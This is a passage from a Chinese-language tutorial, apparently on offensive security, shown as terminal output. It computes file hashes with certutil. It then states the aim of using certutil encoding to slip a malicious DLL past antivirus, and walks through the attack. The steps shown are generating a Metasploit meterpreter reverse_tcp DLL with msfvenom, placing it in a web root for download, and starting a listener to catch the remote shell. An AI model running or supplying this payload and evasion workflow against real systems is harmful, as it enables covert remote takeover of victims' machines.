PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" MD5
MD5 哈希(文件 .\file.txt):
43 85 ae 7e 03 26 0b 8b 80 e4 e2 39 af 3e 9c 7c
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" SHA1
SHA1 哈希(文件 .\file.txt):
b3 f8 6f da 39 70 4f e8 b5 65 68 8d f1 77 f5 54 87 d1 91 51
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop> certutil -hashfile ".\file.txt" SHA256
SHA256 哈希(文件 .\file.txt):
a0 7e c8 46 81 b6 65 bc 9d 5e 5a c5 7c 8a 1c be 5c aa 4b 9b 50 2e ed 02 f0 1e d4 27 e7 90 f6 d3
CertUtil: -hashfile 命令成功完成。
PS C:\Users\snowwolf\Desktop>
编码恶意DLL
了解完certutil的编码功能后,我们就可以通过其编码的功能来帮助恶意文件绕过防病毒软件。
首先,我们需要使用Metasploit生成对应的payload:
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=6666 -f dll > /var/www/html/dll.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
然后启动Metasploit终端并运行以下命令开启监听:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.8.145
lhost => 192.168.8.145
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit